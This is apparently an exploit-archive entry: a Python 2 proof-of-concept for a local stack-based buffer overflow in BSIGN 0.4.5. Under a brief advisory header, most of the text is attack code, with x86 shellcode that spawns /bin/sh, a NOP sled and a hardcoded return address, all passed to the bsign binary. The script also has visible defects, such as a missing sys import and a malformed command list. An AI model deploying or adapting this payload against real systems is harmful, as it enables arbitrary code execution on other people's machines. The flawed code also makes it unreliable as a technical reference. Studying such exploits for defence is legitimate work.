BSIGN 0.4.5 Buffer Overflow

`# Exploit Author: Juan Sacco - http://www.exploitpack.com <  
[email protected]>  
# Program: bsign - embed and verify secure hashes and digital signatures  
# Tested on: GNU/Linux - Kali Linux 2.0  
#  
# Description: BSIGN v0.4.5 and prior is prone to a stack-based buffer  
overflow  
# vulnerability because the application fails to perform adequate  
# boundary-checks on user-supplied input.  
#  
# An attacker could exploit this issue to execute arbitrary code in the  
# context of the application. Failed exploit attempts will result in a  
# denial-of-service condition.  
#  
# Vendor homepage: http://www.debian.org  
# Kali Linux 2.0 package: http.kali.org_kali_dists_sana_  
main_binary-i386_Packages  
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980  
  
import os,subprocess  
def run():  
try:  
print "# BSIGN v0.4.5 Stack-BoF by Juan Sacco"  
print "# Wasting CPU clocks on unusable exploits"  
print "# This exploit is for educational purposes only"  
# Basic structure: JUNK + SHELLCODE + NOPS + EIP  
junk = "\x41"*8  
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\  
xb0\x0b\xcd\x80"  
nops = "\x90"*248  
eip = "\x10\xd3\xff\xbf"  
subprocess.call(["bsign -f",'-f ', junk + shellcode + nops + eip])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "BSIGN not found!"  
else:  
print "Error executing exploit"  
raise  
  
def howtousage():  
print "Sorry, something went wrong"  
sys.exit(-1)  
  
if __name__ == '__main__':  
try:  
print "Exploit BSign 0.4.5 Local Overflow Exploit"  
print "Author: Juan Sacco"  
except IndexError:  
howtousage()  
run()  
`